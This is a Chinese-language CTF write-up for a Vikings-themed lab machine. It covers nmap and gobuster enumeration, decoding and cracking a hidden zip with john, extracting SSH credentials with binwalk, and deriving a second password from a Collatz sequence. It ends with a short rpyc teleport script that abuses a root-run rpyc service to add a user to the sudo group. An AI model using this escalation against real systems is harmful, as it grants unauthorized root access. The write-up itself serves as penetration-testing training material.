前言
这是打靶训练的第12周,靶机下载,本靶场是ctf风格。难度中等。
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29
访问80
点击site,稍等了一会进入真正的网站首页
里面的链接每个都试了试,发现是空链接,无法跳转。使用gobuster进行目录扫描,gobuster dir -r -u http://10.16.122.99/site/ -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt
,存在war.txt
访问war.txt,给出新路径/war-is-over
访问/war-is-over
,文本用base64加密
解密内容
使用cyberchef解密神器进行解密,base64解密,发现内容依然看不懂。
添加Detect File Type,进行文件内容猜测。输出有可能是zip文件
点击output 右边的save按钮,将base64解密后的内容保存为zip。
解压要密码,可以用john进行破解。先将压缩包转换成john能识别的格式,zip2john a.zip > hash
。开始破解john hash --wordlist=rockyou.txt
,密码为ragnarok123
解压后得到一个king照片,看不出来任何有价值的东西
使用binwalk -B king
进行文件分析。藏了一个zip文件
binwalk -e king
,将zip文件提取出来。在当前目录生成了一个_king.extracted
文件夹。查看_king.extracted/user
文件内容
getshell
这两行内容其实是ssh登录用户名和密码,经过多次尝试用户名为floki
,密码为f@m0usboatbuilde7
。
查看/etc/passwd
,存在用户floki
和ragnar
当前目录存在 boat readme.txt 文件
readme.txt 文件内容
I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.
I need to create this `boat` to find Ragnar
我必须造船(boat),去找到我们的领袖Ragnar
提示查看boat文件,boat文件内容
#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)
翻译一下,1.可打印的字符 2. 科拉茨猜想(第29个素数)
那先解决科拉茨猜想(第29个素数)这个问题,上python
# coding:utf-8
# 判断是否是素数
def isPrime(num):
for i in range(2, num // 2 + 1):
# 不是素数
if (num % i) == 0:
return False
return True
# 科拉茨猜想
def collatzConjecture(num):
array = [num]
while num != 1:
if num % 2 == 1:
num = num * 3 + 1
else:
num //= 2
if num < 256:
array.append(num)
return array
def Prime():
cnt = 0
num = 2
while True:
if isPrime(num):
cnt += 1
if cnt == 29:
# 返回第29个素数
return num
num += 1
if __name__ == "__main__":
# 得到第29个素数
number = Prime()
# 获取科拉茨猜想列表
lists = collatzConjecture(number)
print(*lists)
运行结果得到109 164 82 41 124 62 31 94 47 142 71 214 107 161 242 121 182 91 137 206 103 155 233 175 167 251 244 122 61 184 92 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 1
上面的结果很像ascii码,打印ascii码对应的字符,并且删除不可打印的字符后的内容为mR)|>^/Gky[gz=\.F#j5P(
。如果没错的话这就是ragnar
用户的密码了
提权
再次使用ssh登录,输入完密码后跳出[sudo] password for ragnar:
出现这个提示,是因为加了开机启动项,就和windows一样。但它是sudo即root权限启动的,所以让输入root密码,先随便输入给跳过。
/bin/bash -i
进入交互式shell
查看开启自启动配置文件,发现sudo python3 /usr/local/bin/rpyc_classic.py
难怪提示要sudo,这个rpyc_classic.py
文件,参考rpyc说明文档。简而言之rpyc是用python写的,可以让客户端与服务器进行通信。
通过文档,得知rpyc监听18812端口
让客户端向服务器发送命令,写一个将ragnar用户加入root组
import rpyc
def shell():
import os
os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()
提权成功